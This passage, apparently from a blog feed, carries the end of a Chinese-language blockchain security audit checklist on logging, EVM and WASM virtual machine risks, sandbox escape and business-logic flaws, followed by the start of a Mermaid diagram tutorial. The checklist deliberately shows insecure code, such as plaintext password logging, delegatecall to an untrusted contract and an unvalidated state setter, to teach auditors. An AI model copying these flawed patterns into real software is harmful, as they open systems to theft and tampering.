Analysis</strong></p><ul><li>没有设计幂等操作或补偿机制；</li><li>集群环境下节点重启时未同步最新状态。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>部分交易或数据更新无法回滚，导致资金与记录错乱；</li><li>系统长时间陷入不稳定状态，重复产生错误。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>在关键流程设计幂等接口</strong>，多次调用结果一致；</li><li><strong>采用分布式一致性方案</strong>（事务补偿、二阶段提交、raft等）确保多节点数据同步；</li><li><strong>错误恢复时</strong>先校验并重播关键日志或区块。</li></ol></li></ul><h4 id="日志记录机制">日志记录机制</h4><ul><li><p><strong>Description</strong></p><p>适当的日志记录对于安全审计和问题排查至关重要。但若日志中包含敏感信息或日志级别设置不当，也会带来隐私或安全风险。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>日志中打印明文密码、密钥或个人隐私数据；</li><li>未设置正确的日志级别，生产环境过于详细。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可从日志文件中获取关键信息；</li><li>日志文件过大或过多，影响系统性能和存储。</li></ul></li><li><p><strong>Example Code</strong> (Java 伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LoggerExample</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">login</span><span class="params">(String username, String password)</span> &#123;</span><br><span class="line">        <span class="comment">// 错误：日志中记录明文密码</span></span><br><span class="line">        logger.info(<span class="string">&quot;User &quot;</span> + username + <span class="string">&quot; logged in with password &quot;</span> + password);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>敏感字段(密码、私钥、Token等)在日志中应脱敏或不输出</strong>；</li><li><strong>生产环境设置适度的日志级别</strong>，错误或警告信息要保留，调试信息需谨慎；</li><li><strong>定期归档和清理日志</strong>，避免无限增长导致存储风险。</li></ol></li></ul><p>以下内容围绕「虚拟机安全审计」展开，主要涉及 <strong>EVM虚拟机</strong>、<strong>WASM虚拟机</strong>、以及常见的 <strong>资源限制</strong>、<strong>指令集安全</strong>、<strong>沙箱隔离</strong> 等关键点。我们依然采用通用的安全审计报告格式 <strong>(Description / Cause Analysis / Severity / Impact / Example Code / Recommendation)</strong>，并以 Java/伪代码示例方式说明核心风险与解决思路。</p><h2 id="虚拟机安全审计">虚拟机安全审计</h2><p>区块链虚拟机负责运行链上合约或脚本，一旦虚拟机层存在安全缺陷，攻击者可利用指令滥用、沙箱逃逸、资源耗尽等方式危及整个网络。因此，对 EVM、WASM 等常见虚拟机的安全审计至关重要。同时，这部分内容也与链上合约安全紧密相关：如 EVM 下的 delegatecall、selfdestruct 等都与智能合约风险（重入攻击、合约销毁）息息相关。</p><p>这里罗列部分EVM中最常被攻击者利用或需谨慎使用的指令，并简要说明其可能带来的风险。</p><table><thead><tr><th>指令/操作码</th><th>功能简述</th><th>常见风险/攻击场景</th><th>建议</th></tr></thead><tbody><tr><td><code>CALLCODE</code></td><td>与<code>CALL</code>类似但会将<code>msg.sender</code>和<code>msg.value</code>替换为当前合约</td><td>可导致上下文混淆，类似<code>delegatecall</code>；可能出现越权访问或数据错乱</td><td>非必要场景尽量禁用</td></tr><tr><td><code>DELEGATECALL</code></td><td>在目标合约环境中执行，但使用当前合约的存储上下文</td><td>引发“代理合约”场景，若对方合约不可信或可被注入，则可读写本合约存储</td><td>慎用&amp;先确认被调用合约安全</td></tr><tr><td><code>SELFDESTRUCT</code></td><td>销毁当前合约并将剩余ETH发送到指定地址</td><td>可能绕过关键逻辑或逃避追查；被滥用时导致资金锁定或意外销毁</td><td>仅限授权角色可调用或禁用</td></tr><tr><td><code>CREATE2</code></td><td>通过可预测地址方式创建合约</td><td>若参数可控，攻击者可部署“同地址不同字节码”合约进行钓鱼；引发地址碰撞等问题</td><td>确保盐值使用安全随机</td></tr><tr><td><code>STATICCALL</code></td><td>只读调用，但如不当使用可能仍能修改存储</td><td>在某些旧EVM版本中存在BUG/漏洞，或合约逻辑“以为”是只读却实际可变</td><td>升级编译器并检测逻辑</td></tr></tbody></table><blockquote><p>除上述指令外，诸如SSTORE, CALL等也可能带来安全隐患，但相对更常规。上表着重列出高危且常见的EVM操作。</p></blockquote><h3 id="A-EVM虚拟机安全审计">A. EVM虚拟机安全审计</h3><h4 id="A1-EVM指令滥用或安全缺陷">A1. EVM指令滥用或安全缺陷</h4><ul><li><p><strong>Description</strong></p><p>以太坊虚拟机（EVM）提供了多种操作码（opcode）。若某些指令（如 <code>CALLCODE</code>, <code>DELEGATECALL</code>, <code>SELFDESTRUCT</code>）在虚拟机层面被不当使用或存在设计缺陷，则可能导致整个区块链网络的安全风险。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>虽然EVM在设计上隔离合约存储，但依旧能通过delegatecall等跨合约访问；如实现不当，容易导致权限越界。</li><li>老版本 EVM 中对 <code>SELFDESTRUCT</code>、<code>CREATE2</code> 等指令缺少限制或出现可利用的逻辑漏洞。</li><li>短视地在硬分叉或升级时引入新指令，却未充分测试安全性。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>恶意利用这些指令可能导致区块链数据的不一致性或服务中断。</li></ul></li><li><p><strong>Example Code</strong> (Solidity 伪示例)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">contract InsecureDelegate &#123;</span><br><span class="line">    function doSomething(address target) public &#123;</span><br><span class="line">        // 不可信任的 target 合约，若此处使用 delegatecall</span><br><span class="line">        // 执行上下文会变为当前合约的存储区</span><br><span class="line">        target.delegatecall(abi.encodeWithSignature(&quot;pwn()&quot;));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>使用新版编译器和 EVM</strong>，关注各类 EVM 升级（如 Constantinople、Berlin、London 等）带来的安全修复。</li><li><strong>对关键操作码实施更严格的使用策略</strong>，如限制 <code>SELFDESTRUCT</code> 的使用，或对 <code>DELEGATECALL</code> 进行更细致的权限控制。</li></ol></li></ul><h4 id="A2-Gas机制与DoS攻击">A2. Gas机制与DoS攻击</h4><ul><li><p><strong>Description</strong></p><p>EVM执行需要消耗Gas，若合约逻辑可被利用以消耗大量Gas（如深度循环、密集计算），会被视为拒绝服务(DoS)风险；或用户在调用合约时被耗尽Gas却毫无收益。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>合约函数中存在不受限制的循环或递归；</li><li>攻击者可构造复杂调用，使合约在计算/存储消耗上超额付费或触发恶意回退。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>合约执行Gas超标，调用失败，用户资金浪费；</li><li>节点处理复杂交易时可能陷入资源占用，不可用状态加剧。</li></ul></li><li><p><strong>Example Code</strong> (Solidity 伪示例)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">contract LoopAttack &#123;</span><br><span class="line">    function heavyLoop(uint n) public &#123;</span><br><span class="line">        for (uint i = 0; i &lt; n; i++) &#123;</span><br><span class="line">            // 每次循环大量运算</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>避免不必要的循环或大量计算</strong>，将复杂逻辑下沉到 off-chain 或分段调用；</li><li><strong>使用合约审计工具</strong>（如 Slither、MythX）检测潜在的 Gas 爆炸；</li><li><strong>设计安全限度</strong>（如最大循环次数、Gas上限）并在合约中对输入做检查。</li></ol></li></ul><h3 id="B-WASM虚拟机安全审计">B. WASM虚拟机安全审计</h3><h4 id="B1-WASM字节码验证">B1. WASM字节码验证</h4><ul><li><p><strong>Description</strong></p><p>WebAssembly（WASM）在区块链（如 Polkadot、EOS、Solana 等场景）日益普及。其字节码若无严格验证或出现编译器/工具链漏洞，可能执行越界存储、无限循环等攻击。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未启用 WASM 的官方验证器或仅进行部分检查；</li><li>旧版本 WASM 运行时存在已知漏洞，允许越界读写（out-of-bounds）或 JIT RCE。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可利用内存越界访问获取敏感数据，或发起 RCE 攻击；</li><li>合约或节点在执行恶意 WASM 代码时崩溃。</li></ul></li><li><p><strong>Example Code</strong> (WASM 环境 伪示例)</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Rust -&gt; WASM 编译后，如果内存边界检查不完善，可能产生越界</span></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">read_buffer</span>(idx: <span class="type">usize</span>) <span class="punctuation">-&gt;</span> <span class="type">u8</span> &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">data</span> = <span class="built_in">vec!</span>[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line">    data[idx] <span class="comment">// idx若超限将越界</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>启用 WASM 正式验证</strong>，对字节码进行完整的结构化和边界检查；</li><li><strong>使用最新稳定版本的运行时</strong>（如 wasmtime、wasmer），并关注安全补丁；</li><li><strong>对内存访问、栈深度、全局变量</strong>等进行严格限制，防止越界或无限循环。</li></ol></li></ul><h4 id="B2-WASM沙箱与宿主环境交互">B2. WASM沙箱与宿主环境交互</h4><ul><li><p><strong>Description</strong></p><p>WASM 在区块链中常作为“沙箱”，但也可能需要调用宿主系统（Host Function）。若导出的函数和权限控制不当，WASM 合约可访问宿主环境的敏感资源。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>宿主暴露了太多功能性接口（文件读写、网络访问）；</li><li>未对 WASM 导入的函数进行权限校验或限制。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>破坏沙箱隔离，攻击者通过合约访问宿主资源或文件系统；</li><li>形成沙箱逃逸或越权操作。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>最小化导出/导入函数</strong>，严格限定 WASM 可调用的宿主API；</li><li><strong>在宿主环境启用权限检查</strong>，如只允许特定操作或资源路径；</li><li><strong>定期使用 FUZZ 测试</strong> 针对 WASM-Host 边界处理处，找出潜在的越界调用。</li></ol></li></ul><h3 id="C-虚拟机资源限制">C. 虚拟机资源限制</h3><h4 id="C1-执行时间与内存限制">C1. 执行时间与内存限制</h4><ul><li><p><strong>Description</strong></p><p>无论是 EVM 还是 WASM，在运行合约或脚本时，都应对 CPU 时间和内存使用设置上限，否则可能被恶意消耗。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未实现 gas 机制或执行时间限制；</li><li>缺少对内存分配的硬上限检查。</li><li>未在运行时对内存分配失败进行合理处理。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>节点或执行环境陷入大规模计算或内存占用，导致拒绝服务；</li><li>攻击者可利用无上限资源机制执行任意长的计算流程。</li></ul></li><li><p><strong>Example Code</strong> (Java 伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VmRuntime</span> &#123;</span><br><span class="line">    <span class="comment">// 如果不对合约执行时间做限制</span></span><br><span class="line">    <span class="comment">// 攻击者可发送耗时交易让节点CPU爆满</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>对每次合约执行进行“计费”</strong>，例如 EVM 的 Gas、WASM 的 metering；</li><li><strong>在底层实现中限制最大内存</strong>（heap大小、调用栈深度等）；</li><li><strong>对执行超时或超内存的合约</strong> 立即终止并回滚状态。</li></ol></li></ul><h4 id="C2-沙箱逃逸">C2. 沙箱逃逸</h4><ul><li><p><strong>Description</strong></p><p>虚拟机本质是一种沙箱机制，如果存在实现缺陷或配置不当（路径、权限、C-ABI 边界等），攻击者可借此访问宿主操作系统资源，突破沙箱。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>对内存读写或系统调用缺乏严格拦截；</li><li>漏洞存在于JIT编译或加载阶段，允许指令越过限制。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>完全接管执行节点的操作系统权限；</li><li>危及整条链或联盟的安全。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>使用安全审计过的 VM 实现</strong>（如官方 EVM、wasmtime 等），并及时升级；</li><li><strong>在容器化或特殊隔离环境</strong>（如 Docker、Kubernetes sandbox）中运行 VM，双层防护；</li><li><strong>减少不必要的系统调用/导入</strong>，严格校验合约或脚本的代码签名与来源。</li></ol></li></ul><h4 id="C3-合约间调用隔离不当">C3. 合约间调用隔离不当</h4><ul><li><p><strong>Description</strong></p><p>在同一个虚拟机实例中运行多个合约，如果缺少针对存储、内存、权限的隔离机制，可能导致“合约 A”窃取或篡改“合约 B”的数据。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>VM 没有对每个合约的内存空间、全局变量做区分；</li><li>合约间缺少调用权限验证，使得恶意合约能读写他人存储。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>合约间相互影响，资金或数据安全无法保证；</li><li>整体系统变得脆弱，单一漏洞可牵连所有合约。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>对合约进行严格的存储/内存分区</strong>，如 EVM 中的地址空间/合约地址独立；</li><li><strong>在跨合约调用时要求明确的地址与权限</strong>，不可任意读写别处数据；</li><li><strong>采用可信沙箱</strong>（进程级或容器级隔离）对合约执行进行物理/逻辑层面的防护。</li></ol></li></ul><h2 id="业务逻辑安全审计">业务逻辑安全审计</h2><p>在区块链或分布式系统中，“业务逻辑”不仅关乎底层加密和网络安全，也决定了合约、账户、跨系统调用等最终如何协同工作。本章节主要关注流程设计、跨系统一致性、角色/权限、外部数据依赖等更高层的安全要点。</p><h3 id="设计逻辑审计：架构与逻辑设计缺陷">设计逻辑审计：架构与逻辑设计缺陷</h3><ul><li><p><strong>Description</strong></p><p>若系统在早期架构设计时忽视安全性，可能出现根本性漏洞，如跨合约调用顺序混乱、依赖不可信输入等。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>需求阶段未做安全威胁建模；</li><li>缺乏用例推演或攻击模拟；</li><li>未对操作顺序或依赖条件做清晰定义。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可绕过核心校验或流程，造成资金损失或数据篡改；</li><li>业务流程失控，引发资金损失或数据篡改。</li></ul><p>举例1：“单一Owner”合约反模式：某DeFi协议只在部署时指定一个Owner地址，Owner可任意升级合约或转走资金。若该私钥泄露或Owner恶意，即能瞬间夺走所有锁仓资产。</p><p>举例2：某DEX需要先approve再swap，但逻辑中若没有检查前置操作，用户可能跳过approve环节，造成代币状态不一致。</p></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PaymentWorkflow</span> &#123;</span><br><span class="line">    <span class="comment">// 如果系统设计上仅依赖客户端传入参数判断支付状态，</span></span><br><span class="line">    <span class="comment">// 而不校验实际交易确认，存在根本性设计缺陷</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">processPayment</span><span class="params">(String user, String txHash)</span> &#123;</span><br><span class="line">        <span class="comment">// ... 不做任何链上校验 ...</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>在需求阶段加入安全威胁建模</strong>，从业务流程到用例场景进行攻击面分析；</li><li><strong>对关键业务逻辑进行原型测试或形式化验证</strong>，确保核心流程自洽且安全。</li></ol></li></ul><h3 id="状态一致性审计：链上-链下状态不一致">状态一致性审计：链上/链下状态不一致</h3><ul><li><p><strong>Description</strong></p><p>在复杂业务中，往往需要将链上合约状态与链下数据库或系统状态相结合。如果缺乏一致性策略（如原子更新、回滚机制），会导致 “链上成功、链下失败” 或 “链下处理完成但链上无记录”的不一致情况。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>缺少分布式事务或补偿机制；</li><li>对跨合约或跨系统调用没有统一的回滚策略；</li><li>在并发环境下，多方修改同一资源导致冲突。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>出现资金或积分等重复记账、虚假充值；</li><li>数据分叉或用户无法确认最终状态，带来合规和财务风险。</li></ul><p>以下是一个简单文字示意，用于说明链上和链下系统交互的理想流程：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[链下数据库] --(1)交易请求--&gt; [智能合约(链上)]</span><br><span class="line">      \                        /</span><br><span class="line">(4)回执  \                    / (2)执行&amp;更新区块)</span><br><span class="line">        \                  /</span><br><span class="line">          [状态成功? 同步?]</span><br><span class="line">        /                  \</span><br><span class="line">(3)若异常,则回滚链下 &amp; 链上 /</span><br><span class="line">      /                    \</span><br><span class="line">[补偿机制 &amp; 对账流程] &lt;-----&gt; [合约端/跨链桥等]</span><br></pre></td></tr></table></figure><p>(1) 链下系统发起交易请求给合约；<br>(2) 合约执行后更新链上状态；<br>(3) 若执行失败或异常，需要链下也回滚；<br>(4) 最终对账流程确保两边状态一致。</p></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OffChainSystem</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateBalance</span><span class="params">(String user, <span class="type">long</span> amount)</span> &#123;</span><br><span class="line">        <span class="comment">// 若此函数不与链上合约调用保持原子性</span></span><br><span class="line">        <span class="comment">// 可能导致链上成功但链下未成功，或反之</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>采用两阶段提交或跨系统事务机制</strong>（如 saga、tcc、或专门的跨链/跨系统中间件）；</li><li><strong>在合约端提供回执或回滚接口</strong>，链下系统遇到异常及时回滚；</li><li><strong>定期对链上状态与链下数据库对账</strong>，发现不一致时及时人工或系统矫正。</li></ol></li></ul><h3 id="业务边界审计：越权访问或跨边界调用">业务边界审计：越权访问或跨边界调用</h3><ul><li><p><strong>Description</strong></p><p>如果一个模块或合约在设计上仅针对内部使用，却暴露了对外接口或者没有验证调用方身份，就可能被外部或不可信模块越权调用，导致安全事故。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>设计时没区分内部接口与公共接口；</li><li>缺少对调用方地址、角色或签名的校验。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可调用本不应对外开放的功能，实现敏感操作；</li><li>业务边界形同虚设，安全模型失效。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">InternalService</span> &#123;</span><br><span class="line">    <span class="comment">// 本意只供内部调用，却公开对外访问</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">adminOperation</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>在架构层面明确业务边界</strong>，划分内/外部接口；</li><li><strong>对敏感接口做权限校验或签名验证</strong>，杜绝匿名调用；</li><li><strong>使用访问控制列表或代理层</strong>，过滤非法调用请求。</li></ol></li></ul><h3 id="业务流程完整性：流程环节缺失或可被跳过">业务流程完整性：流程环节缺失或可被跳过</h3><ul><li><p><strong>Description</strong></p><p>业务流程如“创建订单 -&gt; 支付 -&gt; 确认 -&gt; 发货”若缺失某些环节或未限制跳过某一步骤，可能导致绕过关键校验或导致交易异常。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>没有对流程的状态进行严格管理；</li><li>允许用户直接访问下一环节接口而不检验前置条件。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>用户跳过支付直接获得货物或服务；</li><li>业务状态混乱，引发财务纠纷或数据错乱。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderController</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">confirmOrder</span><span class="params">(String orderId)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果不检查订单是否已支付</span></span><br><span class="line">        <span class="comment">// 攻击者可对未支付订单直接调用confirm</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>定义严格的流程状态机</strong>，如 “CREATED -&gt; PAID -&gt; CONFIRMED -&gt; COMPLETED”；</li><li><strong>在每个环节接口验证前置条件</strong>(订单必须是上一步状态)；</li><li><strong>防止 API 直接调用绕过前端</strong>：后端/合约端必须做二次校验，而非仅依赖前端流程。</li></ol></li></ul><h3 id="状态机转换安全性：状态机转换缺陷">状态机转换安全性：状态机转换缺陷</h3><ul><li><p><strong>Description</strong></p><p>在区块链合约或分布式业务中，通常设计了一个有限状态机（FSM）来管理业务流程。当转换逻辑出现错误（如允许非法跳转、未更新关键变量），则导致安全风险。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>开发者未在合约中实现完整的状态检查；</li><li>对触发条件或事件顺序缺乏明确定义，导致可逆/可重入。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>允许用户/节点在不合法的状态间来回切换；</li><li>合约陷入逻辑混乱或无法回滚的错误状态。</li></ul></li><li><p><strong>Example Code</strong> (Solidity 伪示例)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">enum State &#123; INIT, ACTIVE, CLOSED &#125;</span><br><span class="line">State public currentState;</span><br><span class="line"></span><br><span class="line">function setState(uint s) public &#123;</span><br><span class="line">    // 如果允许任意传入 s 而不做校验</span><br><span class="line">    currentState = State(s);</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>在合约或业务系统明确状态机</strong>，定义可接受的状态转换表；</li><li><strong>在调用前后都要检查当前状态</strong>，如 <code>require(currentState == State.INIT, &quot;...&quot;)</code>;</li><li><strong>对非法输入或顺序错误</strong> 立即抛异常、回滚。</li></ol></li></ul><h3 id="业务规则执行一致性：规则依赖外部数据或中心化服务">业务规则执行一致性：规则依赖外部数据或中心化服务</h3><ul><li><p><strong>Description</strong></p><p>区块链应用中常有业务规则——例如利率、定价、配额等——如果这些数据依赖单一点（如某中心化API或不可信Oracle），则可能被篡改或伪造，造成不一致执行。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>外部数据源无多重签名或去中心化验证；</li><li>链上业务逻辑对外部数据过度依赖且无冗余校验。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者伪造价格数据，导致清算或借贷系统被破坏；</li><li>规则执行不一致，不同节点对同一外部数据理解不同，引起分叉。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PriceOracle</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> BigDecimal <span class="title function_">getPrice</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 如果直接从 http://price-feed.com/api 获得</span></span><br><span class="line">        <span class="comment">// 攻击者可劫持该API并返回虚假价格</span></span><br><span class="line">        <span class="keyword">return</span> fetchFromExternalAPI();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>采用去中心化或多源Oracle</strong>，通过签名聚合/多数投票获得可信数据；</li><li><strong>对外部数据进行范围/趋势校验</strong>，防止瞬时异常值；</li><li><strong>在业务规则执行前</strong> 做多节点对比或时间平滑处理，减少单点失效影响。</li></ol></li></ul>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/audit/blockchain-client-security/</id>
    <link href="https://www.blog-blockchain.xyz/audit/blockchain-client-security/"/>
    <published>2025-01-21T09:03:53.000Z</published>
    <summary>全面的区块链安全审计指南，系统性地从密码学安全、网络安全、共识机制、跨链通信等多个维度审视公链安全风险。本指南基于真实审计案例，提供详细的漏洞描述、原因分析、风险评估和修复建议，帮助审计人员快速识别关键安全隐患并实施针对性防护措施，保障区块链系统的整体安全性。</summary>
    <title>公链安全开发指南和审计checklist</title>
    <updated>2026-02-19T16:18:01.158Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/categories/developer/"/>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/tags/developer/"/>
    <content>
      <![CDATA[<blockquote><p>本文主要介绍了如何快速绘制流程图、系统架构图和处理流程，以及如何在 Markdown 中渲染 Mermaid。</p></blockquote><h2 id="渲染-Mermaid">渲染 Mermaid</h2><ul><li>商业产品，支持高级功能，丰富的自定义，但是一般不太需要那么精美：<a href="https://www.mermaidchart.com/">https://www.mermaidchart.com/</a></li><li>vscode markdown 插件：Markdown Preview Mermaid Support 或者 Markdown Preview Mermaid Support，前者更加重，支持更多的功能。</li><li><a href="http://draw.io">draw.io</a>：<a href="https://www.drawio.com/blog/mermaid-diagrams">https://www.drawio.com/blog/mermaid-diagrams</a></li><li>各种markdown编辑器。</li><li>Excalidraw 的手绘风格，更加适合快速绘制：<a href="https://excalidraw.com/">https://excalidraw.com/</a></li></ul><h2 id="Mermaid-流程图">Mermaid 流程图</h2><p>Mermaid 的 <strong>flowchart（流程图）</strong> 是用来绘制流程图、系统架构图和处理流程的核心功能之一。以下是详细的语法和功能解释，涵盖基本用法、节点类型、箭头连接、条件分支等。</p><h3 id="基本结构">基本结构</h3><p>Mermaid 的流程图以 flowchart 开头，后面跟方向标识，定义图表的布局方向.</p><pre><code class="highlight mermaid">flowchart LR  A[Start] --&gt; B[Process]  B --&gt; C[End]</code></pre><ul><li><p>D (Top to Down)：从上到下（默认方向）。</p></li><li><p>LR (Left to Right)：从左到右。</p></li><li><p>RL (Right to Left)：从右到左。</p></li><li><p>BT (Bottom to Top)：从下到上。</p></li></ul><h3 id="节点类型">节点类型</h3><table><thead><tr><th>节点类型</th><th>Mermaid 